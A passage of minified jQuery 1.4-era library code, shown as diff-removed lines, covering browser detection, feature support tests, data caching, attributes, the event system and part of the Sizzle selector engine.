-uaMatch:function(a){a=a.toLowerCase();a=/(webkit)[ \/]([\w.]+)/.exec(a)||/(opera)(?:.*version)?[ \/]([\w.]+)/.exec(a)||/(msie) ([\w.]+)/.exec(a)||!/compatible/.test(a)&&/(mozilla)(?:.*? rv:([\w.]+))?/.exec(a)||[];return{browser:a[1]||"",version:a[2]||"0"}},browser:{}});O=c.uaMatch(O);if(O.browser){c.browser[O.browser]=true;c.browser.version=O.version}if(c.browser.webkit)c.browser.safari=true;if(wa)c.inArray=function(a,b){return wa.call(b,a)};S=c(r);if(r.addEventListener)L=function(){r.removeEventListener("DOMContentLoaded",
-L,false);c.ready()};else if(r.attachEvent)L=function(){if(r.readyState==="complete"){r.detachEvent("onreadystatechange",L);c.ready()}};(function(){c.support={};var a=r.documentElement,b=r.createElement("script"),d=r.createElement("div"),f="script"+J();d.style.display="none";d.innerHTML=" <link/><table></table><a href='/a' style='color:red;float:left;opacity:.55;'>a</a><input type='checkbox'/>";var e=d.getElementsByTagName("*"),i=d.getElementsByTagName("a")[0];if(!(!e||!e.length||!i)){c.support=
-{leadingWhitespace:d.firstChild.nodeType===3,tbody:!d.getElementsByTagName("tbody").length,htmlSerialize:!!d.getElementsByTagName("link").length,style:/red/.test(i.getAttribute("style")),hrefNormalized:i.getAttribute("href")==="/a",opacity:/^0.55$/.test(i.style.opacity),cssFloat:!!i.style.cssFloat,checkOn:d.getElementsByTagName("input")[0].value==="on",optSelected:r.createElement("select").appendChild(r.createElement("option")).selected,checkClone:false,scriptEval:false,noCloneEvent:true,boxModel:null};
-b.type="text/javascript";try{b.appendChild(r.createTextNode("window."+f+"=1;"))}catch(j){}a.insertBefore(b,a.firstChild);if(z[f]){c.support.scriptEval=true;delete z[f]}a.removeChild(b);if(d.attachEvent&&d.fireEvent){d.attachEvent("onclick",function n(){c.support.noCloneEvent=false;d.detachEvent("onclick",n)});d.cloneNode(true).fireEvent("onclick")}d=r.createElement("div");d.innerHTML="<input type='radio' name='radiotest' checked='checked'/>";a=r.createDocumentFragment();a.appendChild(d.firstChild);
-c.support.checkClone=a.cloneNode(true).cloneNode(true).lastChild.checked;c(function(){var n=r.createElement("div");n.style.width=n.style.paddingLeft="1px";r.body.appendChild(n);c.boxModel=c.support.boxModel=n.offsetWidth===2;r.body.removeChild(n).style.display="none"});a=function(n){var o=r.createElement("div");n="on"+n;var m=n in o;if(!m){o.setAttribute(n,"return;");m=typeof o[n]==="function"}return m};c.support.submitBubbles=a("submit");c.support.changeBubbles=a("change");a=b=d=e=i=null}})();c.props=
-{"for":"htmlFor","class":"className",readonly:"readOnly",maxlength:"maxLength",cellspacing:"cellSpacing",rowspan:"rowSpan",colspan:"colSpan",tabindex:"tabIndex",usemap:"useMap",frameborder:"frameBorder"};var G="jQuery"+J(),Ua=0,xa={},Va={};c.extend({cache:{},expando:G,noData:{embed:true,object:true,applet:true},data:function(a,b,d){if(!(a.nodeName&&c.noData[a.nodeName.toLowerCase()])){a=a==z?xa:a;var f=a[G],e=c.cache;if(!b&&!f)return null;f||(f=++Ua);if(typeof b==="object"){a[G]=f;e=e[f]=c.extend(true,
-{},b)}else e=e[f]?e[f]:typeof d==="undefined"?Va:(e[f]={});if(d!==v){a[G]=f;e[b]=d}return typeof b==="string"?e[b]:e}},removeData:function(a,b){if(!(a.nodeName&&c.noData[a.nodeName.toLowerCase()])){a=a==z?xa:a;var d=a[G],f=c.cache,e=f[d];if(b){if(e){delete e[b];c.isEmptyObject(e)&&c.removeData(a)}}else{try{delete a[G]}catch(i){a.removeAttribute&&a.removeAttribute(G)}delete f[d]}}}});c.fn.extend({data:function(a,b){if(typeof a==="undefined"&&this.length)return c.data(this[0]);else if(typeof a==="object")return this.each(function(){c.data(this,
-a)});var d=a.split(".");d[1]=d[1]?"."+d[1]:"";if(b===v){var f=this.triggerHandler("getData"+d[1]+"!",[d[0]]);if(f===v&&this.length)f=c.data(this[0],a);return f===v&&d[1]?this.data(d[0]):f}else return this.trigger("setData"+d[1]+"!",[d[0],b]).each(function(){c.data(this,a,b)})},removeData:function(a){return this.each(function(){c.removeData(this,a)})}});c.extend({queue:function(a,b,d){if(a){b=(b||"fx")+"queue";var f=c.data(a,b);if(!d)return f||[];if(!f||c.isArray(d))f=c.data(a,b,c.makeArray(d));else f.push(d);
-return f}},dequeue:function(a,b){b=b||"fx";var d=c.queue(a,b),f=d.shift();if(f==="inprogress")f=d.shift();if(f){b==="fx"&&d.unshift("inprogress");f.call(a,function(){c.dequeue(a,b)})}}});c.fn.extend({queue:function(a,b){if(typeof a!=="string"){b=a;a="fx"}if(b===v)return c.queue(this[0],a);return this.each(function(){var d=c.queue(this,a,b);a==="fx"&&d[0]!=="inprogress"&&c.dequeue(this,a)})},dequeue:function(a){return this.each(function(){c.dequeue(this,a)})},delay:function(a,b){a=c.fx?c.fx.speeds[a]||
-a:a;b=b||"fx";return this.queue(b,function(){var d=this;setTimeout(function(){c.dequeue(d,b)},a)})},clearQueue:function(a){return this.queue(a||"fx",[])}});var ya=/[\n\t]/g,ca=/\s+/,Wa=/\r/g,Xa=/href|src|style/,Ya=/(button|input)/i,Za=/(button|input|object|select|textarea)/i,$a=/^(a|area)$/i,za=/radio|checkbox/;c.fn.extend({attr:function(a,b){return X(this,a,b,true,c.attr)},removeAttr:function(a){return this.each(function(){c.attr(this,a,"");this.nodeType===1&&this.removeAttribute(a)})},addClass:function(a){if(c.isFunction(a))return this.each(function(o){var m=
-c(this);m.addClass(a.call(this,o,m.attr("class")))});if(a&&typeof a==="string")for(var b=(a||"").split(ca),d=0,f=this.length;d<f;d++){var e=this[d];if(e.nodeType===1)if(e.className)for(var i=" "+e.className+" ",j=0,n=b.length;j<n;j++){if(i.indexOf(" "+b[j]+" ")<0)e.className+=" "+b[j]}else e.className=a}return this},removeClass:function(a){if(c.isFunction(a))return this.each(function(o){var m=c(this);m.removeClass(a.call(this,o,m.attr("class")))});if(a&&typeof a==="string"||a===v)for(var b=(a||"").split(ca),
-d=0,f=this.length;d<f;d++){var e=this[d];if(e.nodeType===1&&e.className)if(a){for(var i=(" "+e.className+" ").replace(ya," "),j=0,n=b.length;j<n;j++)i=i.replace(" "+b[j]+" "," ");e.className=i.substring(1,i.length-1)}else e.className=""}return this},toggleClass:function(a,b){var d=typeof a,f=typeof b==="boolean";if(c.isFunction(a))return this.each(function(e){var i=c(this);i.toggleClass(a.call(this,e,i.attr("class"),b),b)});return this.each(function(){if(d==="string")for(var e,i=0,j=c(this),n=b,o=
-a.split(ca);e=o[i++];){n=f?n:!j.hasClass(e);j[n?"addClass":"removeClass"](e)}else if(d==="undefined"||d==="boolean"){this.className&&c.data(this,"__className__",this.className);this.className=this.className||a===false?"":c.data(this,"__className__")||""}})},hasClass:function(a){a=" "+a+" ";for(var b=0,d=this.length;b<d;b++)if((" "+this[b].className+" ").replace(ya," ").indexOf(a)>-1)return true;return false},val:function(a){if(a===v){var b=this[0];if(b){if(c.nodeName(b,"option"))return(b.attributes.value||
-{}).specified?b.value:b.text;if(c.nodeName(b,"select")){var d=b.selectedIndex,f=[],e=b.options;b=b.type==="select-one";if(d<0)return null;var i=b?d:0;for(d=b?d+1:e.length;i<d;i++){var j=e[i];if(j.selected){a=c(j).val();if(b)return a;f.push(a)}}return f}if(za.test(b.type)&&!c.support.checkOn)return b.getAttribute("value")===null?"on":b.value;return(b.value||"").replace(Wa,"")}return v}var n=c.isFunction(a);return this.each(function(o){var m=c(this),s=a;if(this.nodeType===1){if(n)s=a.call(this,o,m.val());
-if(typeof s==="number")s+="";if(c.isArray(s)&&za.test(this.type))this.checked=c.inArray(m.val(),s)>=0;else if(c.nodeName(this,"select")){var x=c.makeArray(s);c("option",this).each(function(){this.selected=c.inArray(c(this).val(),x)>=0});if(!x.length)this.selectedIndex=-1}else this.value=s}})}});c.extend({attrFn:{val:true,css:true,html:true,text:true,data:true,width:true,height:true,offset:true},attr:function(a,b,d,f){if(!a||a.nodeType===3||a.nodeType===8)return v;if(f&&b in c.attrFn)return c(a)[b](d);
-f=a.nodeType!==1||!c.isXMLDoc(a);var e=d!==v;b=f&&c.props[b]||b;if(a.nodeType===1){var i=Xa.test(b);if(b in a&&f&&!i){if(e){b==="type"&&Ya.test(a.nodeName)&&a.parentNode&&c.error("type property can't be changed");a[b]=d}if(c.nodeName(a,"form")&&a.getAttributeNode(b))return a.getAttributeNode(b).nodeValue;if(b==="tabIndex")return(b=a.getAttributeNode("tabIndex"))&&b.specified?b.value:Za.test(a.nodeName)||$a.test(a.nodeName)&&a.href?0:v;return a[b]}if(!c.support.style&&f&&b==="style"){if(e)a.style.cssText=
-""+d;return a.style.cssText}e&&a.setAttribute(b,""+d);a=!c.support.hrefNormalized&&f&&i?a.getAttribute(b,2):a.getAttribute(b);return a===null?v:a}return c.style(a,b,d)}});var ab=function(a){return a.replace(/[^\w\s\.\|`]/g,function(b){return"\\"+b})};c.event={add:function(a,b,d,f){if(!(a.nodeType===3||a.nodeType===8)){if(a.setInterval&&a!==z&&!a.frameElement)a=z;if(!d.guid)d.guid=c.guid++;if(f!==v){d=c.proxy(d);d.data=f}var e=c.data(a,"events")||c.data(a,"events",{}),i=c.data(a,"handle"),j;if(!i){j=
-function(){return typeof c!=="undefined"&&!c.event.triggered?c.event.handle.apply(j.elem,arguments):v};i=c.data(a,"handle",j)}if(i){i.elem=a;b=b.split(/\s+/);for(var n,o=0;n=b[o++];){var m=n.split(".");n=m.shift();if(o>1){d=c.proxy(d);if(f!==v)d.data=f}d.type=m.slice(0).sort().join(".");var s=e[n],x=this.special[n]||{};if(!s){s=e[n]={};if(!x.setup||x.setup.call(a,f,m,d)===false)if(a.addEventListener)a.addEventListener(n,i,false);else a.attachEvent&&a.attachEvent("on"+n,i)}if(x.add)if((m=x.add.call(a,
-d,f,m,s))&&c.isFunction(m)){m.guid=m.guid||d.guid;m.data=m.data||d.data;m.type=m.type||d.type;d=m}s[d.guid]=d;this.global[n]=true}a=null}}},global:{},remove:function(a,b,d){if(!(a.nodeType===3||a.nodeType===8)){var f=c.data(a,"events"),e,i,j;if(f){if(b===v||typeof b==="string"&&b.charAt(0)===".")for(i in f)this.remove(a,i+(b||""));else{if(b.type){d=b.handler;b=b.type}b=b.split(/\s+/);for(var n=0;i=b[n++];){var o=i.split(".");i=o.shift();var m=!o.length,s=c.map(o.slice(0).sort(),ab);s=new RegExp("(^|\\.)"+
-s.join("\\.(?:.*\\.)?")+"(\\.|$)");var x=this.special[i]||{};if(f[i]){if(d){j=f[i][d.guid];delete f[i][d.guid]}else for(var A in f[i])if(m||s.test(f[i][A].type))delete f[i][A];x.remove&&x.remove.call(a,o,j);for(e in f[i])break;if(!e){if(!x.teardown||x.teardown.call(a,o)===false)if(a.removeEventListener)a.removeEventListener(i,c.data(a,"handle"),false);else a.detachEvent&&a.detachEvent("on"+i,c.data(a,"handle"));e=null;delete f[i]}}}}for(e in f)break;if(!e){if(A=c.data(a,"handle"))A.elem=null;c.removeData(a,
-"events");c.removeData(a,"handle")}}}},trigger:function(a,b,d,f){var e=a.type||a;if(!f){a=typeof a==="object"?a[G]?a:c.extend(c.Event(e),a):c.Event(e);if(e.indexOf("!")>=0){a.type=e=e.slice(0,-1);a.exclusive=true}if(!d){a.stopPropagation();this.global[e]&&c.each(c.cache,function(){this.events&&this.events[e]&&c.event.trigger(a,b,this.handle.elem)})}if(!d||d.nodeType===3||d.nodeType===8)return v;a.result=v;a.target=d;b=c.makeArray(b);b.unshift(a)}a.currentTarget=d;(f=c.data(d,"handle"))&&f.apply(d,
-b);f=d.parentNode||d.ownerDocument;try{if(!(d&&d.nodeName&&c.noData[d.nodeName.toLowerCase()]))if(d["on"+e]&&d["on"+e].apply(d,b)===false)a.result=false}catch(i){}if(!a.isPropagationStopped()&&f)c.event.trigger(a,b,f,true);else if(!a.isDefaultPrevented()){d=a.target;var j;if(!(c.nodeName(d,"a")&&e==="click")&&!(d&&d.nodeName&&c.noData[d.nodeName.toLowerCase()])){try{if(d[e]){if(j=d["on"+e])d["on"+e]=null;this.triggered=true;d[e]()}}catch(n){}if(j)d["on"+e]=j;this.triggered=false}}},handle:function(a){var b,
-d;a=arguments[0]=c.event.fix(a||z.event);a.currentTarget=this;d=a.type.split(".");a.type=d.shift();b=!d.length&&!a.exclusive;var f=new RegExp("(^|\\.)"+d.slice(0).sort().join("\\.(?:.*\\.)?")+"(\\.|$)");d=(c.data(this,"events")||{})[a.type];for(var e in d){var i=d[e];if(b||f.test(i.type)){a.handler=i;a.data=i.data;i=i.apply(this,arguments);if(i!==v){a.result=i;if(i===false){a.preventDefault();a.stopPropagation()}}if(a.isImmediatePropagationStopped())break}}return a.result},props:"altKey attrChange attrName bubbles button cancelable charCode clientX clientY ctrlKey currentTarget data detail eventPhase fromElement handler keyCode layerX layerY metaKey newValue offsetX offsetY originalTarget pageX pageY prevValue relatedNode relatedTarget screenX screenY shiftKey srcElement target toElement view wheelDelta which".split(" "),
-fix:function(a){if(a[G])return a;var b=a;a=c.Event(b);for(var d=this.props.length,f;d;){f=this.props[--d];a[f]=b[f]}if(!a.target)a.target=a.srcElement||r;if(a.target.nodeType===3)a.target=a.target.parentNode;if(!a.relatedTarget&&a.fromElement)a.relatedTarget=a.fromElement===a.target?a.toElement:a.fromElement;if(a.pageX==null&&a.clientX!=null){b=r.documentElement;d=r.body;a.pageX=a.clientX+(b&&b.scrollLeft||d&&d.scrollLeft||0)-(b&&b.clientLeft||d&&d.clientLeft||0);a.pageY=a.clientY+(b&&b.scrollTop||
-d&&d.scrollTop||0)-(b&&b.clientTop||d&&d.clientTop||0)}if(!a.which&&(a.charCode||a.charCode===0?a.charCode:a.keyCode))a.which=a.charCode||a.keyCode;if(!a.metaKey&&a.ctrlKey)a.metaKey=a.ctrlKey;if(!a.which&&a.button!==v)a.which=a.button&1?1:a.button&2?3:a.button&4?2:0;return a},guid:1E8,proxy:c.proxy,special:{ready:{setup:c.bindReady,teardown:c.noop},live:{add:function(a,b){c.extend(a,b||{});a.guid+=b.selector+b.live;b.liveProxy=a;c.event.add(this,b.live,na,b)},remove:function(a){if(a.length){var b=
-0,d=new RegExp("(^|\\.)"+a[0]+"(\\.|$)");c.each(c.data(this,"events").live||{},function(){d.test(this.type)&&b++});b<1&&c.event.remove(this,a[0],na)}},special:{}},beforeunload:{setup:function(a,b,d){if(this.setInterval)this.onbeforeunload=d;return false},teardown:function(a,b){if(this.onbeforeunload===b)this.onbeforeunload=null}}}};c.Event=function(a){if(!this.preventDefault)return new c.Event(a);if(a&&a.type){this.originalEvent=a;this.type=a.type}else this.type=a;this.timeStamp=J();this[G]=true};
-c.Event.prototype={preventDefault:function(){this.isDefaultPrevented=Z;var a=this.originalEvent;if(a){a.preventDefault&&a.preventDefault();a.returnValue=false}},stopPropagation:function(){this.isPropagationStopped=Z;var a=this.originalEvent;if(a){a.stopPropagation&&a.stopPropagation();a.cancelBubble=true}},stopImmediatePropagation:function(){this.isImmediatePropagationStopped=Z;this.stopPropagation()},isDefaultPrevented:Y,isPropagationStopped:Y,isImmediatePropagationStopped:Y};var Aa=function(a){for(var b=
-a.relatedTarget;b&&b!==this;)try{b=b.parentNode}catch(d){break}if(b!==this){a.type=a.data;c.event.handle.apply(this,arguments)}},Ba=function(a){a.type=a.data;c.event.handle.apply(this,arguments)};c.each({mouseenter:"mouseover",mouseleave:"mouseout"},function(a,b){c.event.special[a]={setup:function(d){c.event.add(this,b,d&&d.selector?Ba:Aa,a)},teardown:function(d){c.event.remove(this,b,d&&d.selector?Ba:Aa)}}});if(!c.support.submitBubbles)c.event.special.submit={setup:function(a,b,d){if(this.nodeName.toLowerCase()!==
-"form"){c.event.add(this,"click.specialSubmit."+d.guid,function(f){var e=f.target,i=e.type;if((i==="submit"||i==="image")&&c(e).closest("form").length)return ma("submit",this,arguments)});c.event.add(this,"keypress.specialSubmit."+d.guid,function(f){var e=f.target,i=e.type;if((i==="text"||i==="password")&&c(e).closest("form").length&&f.keyCode===13)return ma("submit",this,arguments)})}else return false},remove:function(a,b){c.event.remove(this,"click.specialSubmit"+(b?"."+b.guid:""));c.event.remove(this,
-"keypress.specialSubmit"+(b?"."+b.guid:""))}};if(!c.support.changeBubbles){var da=/textarea|input|select/i;function Ca(a){var b=a.type,d=a.value;if(b==="radio"||b==="checkbox")d=a.checked;else if(b==="select-multiple")d=a.selectedIndex>-1?c.map(a.options,function(f){return f.selected}).join("-"):"";else if(a.nodeName.toLowerCase()==="select")d=a.selectedIndex;return d}function ea(a,b){var d=a.target,f,e;if(!(!da.test(d.nodeName)||d.readOnly)){f=c.data(d,"_change_data");e=Ca(d);if(a.type!=="focusout"||
-d.type!=="radio")c.data(d,"_change_data",e);if(!(f===v||e===f))if(f!=null||e){a.type="change";return c.event.trigger(a,b,d)}}}c.event.special.change={filters:{focusout:ea,click:function(a){var b=a.target,d=b.type;if(d==="radio"||d==="checkbox"||b.nodeName.toLowerCase()==="select")return ea.call(this,a)},keydown:function(a){var b=a.target,d=b.type;if(a.keyCode===13&&b.nodeName.toLowerCase()!=="textarea"||a.keyCode===32&&(d==="checkbox"||d==="radio")||d==="select-multiple")return ea.call(this,a)},beforeactivate:function(a){a=
-a.target;a.nodeName.toLowerCase()==="input"&&a.type==="radio"&&c.data(a,"_change_data",Ca(a))}},setup:function(a,b,d){for(var f in T)c.event.add(this,f+".specialChange."+d.guid,T[f]);return da.test(this.nodeName)},remove:function(a,b){for(var d in T)c.event.remove(this,d+".specialChange"+(b?"."+b.guid:""),T[d]);return da.test(this.nodeName)}};var T=c.event.special.change.filters}r.addEventListener&&c.each({focus:"focusin",blur:"focusout"},function(a,b){function d(f){f=c.event.fix(f);f.type=b;return c.event.handle.call(this,
-f)}c.event.special[b]={setup:function(){this.addEventListener(a,d,true)},teardown:function(){this.removeEventListener(a,d,true)}}});c.each(["bind","one"],function(a,b){c.fn[b]=function(d,f,e){if(typeof d==="object"){for(var i in d)this[b](i,f,d[i],e);return this}if(c.isFunction(f)){e=f;f=v}var j=b==="one"?c.proxy(e,function(n){c(this).unbind(n,j);return e.apply(this,arguments)}):e;return d==="unload"&&b!=="one"?this.one(d,f,e):this.each(function(){c.event.add(this,d,j,f)})}});c.fn.extend({unbind:function(a,
-b){if(typeof a==="object"&&!a.preventDefault){for(var d in a)this.unbind(d,a[d]);return this}return this.each(function(){c.event.remove(this,a,b)})},trigger:function(a,b){return this.each(function(){c.event.trigger(a,b,this)})},triggerHandler:function(a,b){if(this[0]){a=c.Event(a);a.preventDefault();a.stopPropagation();c.event.trigger(a,b,this[0]);return a.result}},toggle:function(a){for(var b=arguments,d=1;d<b.length;)c.proxy(a,b[d++]);return this.click(c.proxy(a,function(f){var e=(c.data(this,"lastToggle"+
-a.guid)||0)%d;c.data(this,"lastToggle"+a.guid,e+1);f.preventDefault();return b[e].apply(this,arguments)||false}))},hover:function(a,b){return this.mouseenter(a).mouseleave(b||a)}});c.each(["live","die"],function(a,b){c.fn[b]=function(d,f,e){var i,j=0;if(c.isFunction(f)){e=f;f=v}for(d=(d||"").split(/\s+/);(i=d[j++])!=null;){i=i==="focus"?"focusin":i==="blur"?"focusout":i==="hover"?d.push("mouseleave")&&"mouseenter":i;b==="live"?c(this.context).bind(oa(i,this.selector),{data:f,selector:this.selector,
-live:i},e):c(this.context).unbind(oa(i,this.selector),e?{guid:e.guid+this.selector+i}:null)}return this}});c.each("blur focus focusin focusout load resize scroll unload click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup error".split(" "),function(a,b){c.fn[b]=function(d){return d?this.bind(b,d):this.trigger(b)};if(c.attrFn)c.attrFn[b]=true});z.attachEvent&&!z.addEventListener&&z.attachEvent("onunload",function(){for(var a in c.cache)if(c.cache[a].handle)try{c.event.remove(c.cache[a].handle.elem)}catch(b){}});
-(function(){function a(g){for(var h="",k,l=0;g[l];l++){k=g[l];if(k.nodeType===3||k.nodeType===4)h+=k.nodeValue;else if(k.nodeType!==8)h+=a(k.childNodes)}return h}function b(g,h,k,l,q,p){q=0;for(var u=l.length;q<u;q++){var t=l[q];if(t){t=t[g];for(var y=false;t;){if(t.sizcache===k){y=l[t.sizset];break}if(t.nodeType===1&&!p){t.sizcache=k;t.sizset=q}if(t.nodeName.toLowerCase()===h){y=t;break}t=t[g]}l[q]=y}}}function d(g,h,k,l,q,p){q=0;for(var u=l.length;q<u;q++){var t=l[q];if(t){t=t[g];for(var y=false;t;){if(t.sizcache===
-k){y=l[t.sizset];break}if(t.nodeType===1){if(!p){t.sizcache=k;t.sizset=q}if(typeof h!=="string"){if(t===h){y=true;break}}else if(o.filter(h,[t]).length>0){y=t;break}}t=t[g]}l[q]=y}}}var f=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^[\]]*\]|['"][^'"]*['"]|[^[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g,e=0,i=Object.prototype.toString,j=false,n=true;[0,0].sort(function(){n=false;return 0});var o=function(g,h,k,l){k=k||[];var q=h=h||r;if(h.nodeType!==1&&h.nodeType!==9)return[];if(!g||
-typeof g!=="string")return k;for(var p=[],u,t,y,R,H=true,M=w(h),I=g;(f.exec(""),u=f.exec(I))!==null;){I=u[3];p.push(u[1]);if(u[2]){R=u[3];break}}if(p.length>1&&s.exec(g))if(p.length===2&&m.relative[p[0]])t=fa(p[0]+p[1],h);else for(t=m.relative[p[0]]?[h]:o(p.shift(),h);p.length;){g=p.shift();if(m.relative[g])g+=p.shift();t=fa(g,t)}else{if(!l&&p.length>1&&h.nodeType===9&&!M&&m.match.ID.test(p[0])&&!m.match.ID.test(p[p.length-1])){u=o.find(p.shift(),h,M);h=u.expr?o.filter(u.expr,u.set)[0]:u.set[0]}if(h){u=
-l?{expr:p.pop(),set:A(l)}:o.find(p.pop(),p.length===1&&(p[0]==="~"||p[0]==="+")&&h.parentNode?h.parentNode:h,M);t=u.expr?o.filter(u.expr,u.set):u.set;if(p.length>0)y=A(t);else H=false;for(;p.length;){var D=p.pop();u=D;if(m.relative[D])u=p.pop();else D="";if(u==null)u=h;m.relative[D](y,u,M)}}else y=[]}y||(y=t);y||o.error(D||g);if(i.call(y)==="[object Array]")if(H)if(h&&h.nodeType===1)for(g=0;y[g]!=null;g++){if(y[g]&&(y[g]===true||y[g].nodeType===1&&E(h,y[g])))k.push(t[g])}else for(g=0;y[g]!=null;g++)y[g]&&
-y[g].nodeType===1&&k.push(t[g]);else k.push.apply(k,y);else A(y,k);if(R){o(R,q,k,l);o.uniqueSort(k)}return k};o.uniqueSort=function(g){if(C){j=n;g.sort(C);if(j)for(var h=1;h<g.length;h++)g[h]===g[h-1]&&g.splice(h--,1)}return g};o.matches=function(g,h){return o(g,null,null,h)};o.find=function(g,h,k){var l,q;if(!g)return[];for(var p=0,u=m.order.length;p<u;p++){var t=m.order[p];if(q=m.leftMatch[t].exec(g)){var y=q[1];q.splice(1,1);if(y.substr(y.length-1)!=="\\"){q[1]=(q[1]||"").replace(/\\/g,"");l=m.find[t](q,
-h,k);if(l!=null){g=g.replace(m.match[t],"");break}}}}l||(l=h.getElementsByTagName("*"));return{set:l,expr:g}};o.filter=function(g,h,k,l){for(var q=g,p=[],u=h,t,y,R=h&&h[0]&&w(h[0]);g&&h.length;){for(var H in m.filter)if((t=m.leftMatch[H].exec(g))!=null&&t[2]){var M=m.filter[H],I,D;D=t[1];y=false;t.splice(1,1);if(D.substr(D.length-1)!=="\\"){if(u===p)p=[];if(m.preFilter[H])if(t=m.preFilter[H](t,u,k,p,l,R)){if(t===true)continue}else y=I=true;if(t)for(var U=0;(D=u[U])!=null;U++)if(D){I=M(D,t,U,u);var Da=
-l^!!I;if(k&&I!=null)if(Da)y=true;else u[U]=false;else if(Da){p.push(D);y=true}}if(I!==v){k||(u=p);g=g.replace(m.match[H],"");if(!y)return[];break}}}if(g===q)if(y==null)o.error(g);else break;q=g}return u};o.error=function(g){throw"Syntax error, unrecognized expression: "+g;};var m=o.selectors={order:["ID","NAME","TAG"],match:{ID:/#((?:[\w\u00c0-\uFFFF-]|\\.)+)/,CLASS:/\.((?:[\w\u00c0-\uFFFF-]|\\.)+)/,NAME:/\[name=['"]*((?:[\w\u00c0-\uFFFF-]|\\.)+)['"]*\]/,ATTR:/\[\s*((?:[\w\u00c0-\uFFFF-]|\\.)+)\s*(?:(\S?=)\s*(['"]*)(.*?)\3|)\s*\]/,
-TAG:/^((?:[\w\u00c0-\uFFFF\*-]|\\.)+)/,CHILD:/:(only|nth|last|first)-child(?:\((even|odd|[\dn+-]*)\))?/,POS:/:(nth|eq|gt|lt|first|last|even|odd)(?:\((\d*)\))?(?=[^-]|$)/,PSEUDO:/:((?:[\w\u00c0-\uFFFF-]|\\.)+)(?:\((['"]?)((?:\([^\)]+\)|[^\(\)]*)+)\2\))?/},leftMatch:{},attrMap:{"class":"className","for":"htmlFor"},attrHandle:{href:function(g){return g.getAttribute("href")}},relative:{"+":function(g,h){var k=typeof h==="string",l=k&&!/\W/.test(h);k=k&&!l;if(l)h=h.toLowerCase();l=0;for(var q=g.length,
-p;l<q;l++)if(p=g[l]){for(;(p=p.previousSibling)&&p.nodeType!==1;);g[l]=k||p&&p.nodeName.toLowerCase()===h?p||false:p===h}k&&o.filter(h,g,true)},">":function(g,h){var k=typeof h==="string";if(k&&!/\W/.test(h)){h=h.toLowerCase();for(var l=0,q=g.length;l<q;l++){var p=g[l];if(p){k=p.parentNode;g[l]=k.nodeName.toLowerCase()===h?k:false}}}else{l=0;for(q=g.length;l<q;l++)if(p=g[l])g[l]=k?p.parentNode:p.parentNode===h;k&&o.filter(h,g,true)}},"":function(g,h,k){var l=e++,q=d;if(typeof h==="string"&&!/\W/.test(h)){var p=
-h=h.toLowerCase();q=b}q("parentNode",h,l,g,p,k)},"~":function(g,h,k){var l=e++,q=d;if(typeof h==="string"&&!/\W/.test(h)){var p=h=h.toLowerCase();q=b}q("previousSibling",h,l,g,p,k)}},find:{ID:function(g,h,k){if(typeof h.getElementById!=="undefined"&&!k)return(g=h.getElementById(g[1]))?[g]:[]},NAME:function(g,h){if(typeof h.getElementsByName!=="undefined"){var k=[];h=h.getElementsByName(g[1]);for(var l=0,q=h.length;l<q;l++)h[l].getAttribute("name")===g[1]&&k.push(h[l]);return k.length===0?null:k}},
-TAG:function(g,h){return h.getElementsByTagName(g[1])}},preFilter:{CLASS:function(g,h,k,l,q,p){g=" "+g[1].replace(/\\/g,"")+" ";if(p)return g;p=0;for(var u;(u=h[p])!=null;p++)if(u)if(q^(u.className&&(" "+u.className+" ").replace(/[\t\n]/g," ").indexOf(g)>=0))k||l.push(u);else if(k)h[p]=false;return false},ID:function(g){return g[1].replace(/\\/g,"")},TAG:function(g){return g[1].toLowerCase()},CHILD:function(g){if(g[1]==="nth"){var h=/(-?)(\d*)n((?:\+|-)?\d*)/.exec(g[2]==="even"&&"2n"||g[2]==="odd"&&
-"2n+1"||!/\D/.test(g[2])&&"0n+"+g[2]||g[2]);g[2]=h[1]+(h[2]||1)-0;g[3]=h[3]-0}g[0]=e++;return g},ATTR:function(g,h,k,l,q,p){h=g[1].replace(/\\/g,"");if(!p&&m.attrMap[h])g[1]=m.attrMap[h];if(g[2]==="~=")g[4]=" "+g[4]+" ";return g},PSEUDO:function(g,h,k,l,q){if(g[1]==="not")if((f.exec(g[3])||"").length>1||/^\w/.test(g[3]))g[3]=o(g[3],null,null,h);else{g=o.filter(g[3],h,k,true^q);k||l.push.apply(l,g);return false}else if(m.match.POS.test(g[0])||m.match.CHILD.test(g[0]))return true;return g},POS:function(g){g.unshift(true);
-return g}},filters:{enabled:function(g){return g.disabled===false&&g.type!=="hidden"},disabled:function(g){return g.disabled===true},checked:function(g){return g.checked===true},selected:function(g){return g.selected===true},parent:function(g){return!!g.firstChild},empty:function(g){return!g.firstChild},has:function(g,h,k){return!!o(k[3],g).length},header:function(g){return/h\d/i.test(g.nodeName)},text:function(g){return"text"===g.type},radio:function(g){return"radio"===g.type},checkbox:function(g){return"checkbox"===
-g.type},file:function(g){return"file"===g.type},password:function(g){return"password"===g.type},submit:function(g){return"submit"===g.type},image:function(g){return"image"===g.type},reset:function(g){return"reset"===g.type},button:function(g){return"button"===g.type||g.nodeName.toLowerCase()==="button"},input:function(g){return/input|select|textarea|button/i.test(g.nodeName)}},setFilters:{first:function(g,h){return h===0},last:function(g,h,k,l){return h===l.length-1},even:function(g,h){return h%2===
-0},odd:function(g,h){return h%2===1},lt:function(g,h,k){return h<k[3]-0},gt:function(g,h,k){return h>k[3]-0},nth:function(g,h,k){return k[3]-0===h},eq:function(g,h,k){return k[3]-0===h}},filter:{PSEUDO:function(g,h,k,l){var q=h[1],p=m.filters[q];if(p)return p(g,k,h,l);else if(q==="contains")return(g.textContent||g.innerText||a([g])||"").indexOf(h[3])>=0;else if(q==="not"){h=h[3];k=0;for(l=h.length;k<l;k++)if(h[k]===g)return false;return true}else o.error("Syntax error, unrecognized expression: "+
-q)},CHILD:function(g,h){var k=h[1],l=g;switch(k){case "only":case "first":for(;l=l.previousSibling;)if(l.nodeType===1)return false;if(k==="first")return true;l=g;case "last":for(;l=l.nextSibling;)if(l.nodeType===1)return false;return true;case "nth":k=h[2];var q=h[3];if(k===1&&q===0)return true;h=h[0];var p=g.parentNode;if(p&&(p.sizcache!==h||!g.nodeIndex)){var u=0;for(l=p.firstChild;l;l=l.nextSibling)if(l.nodeType===1)l.nodeIndex=++u;p.sizcache=h}g=g.nodeIndex-q;return k===0?g===0:g%k===0&&g/k>=
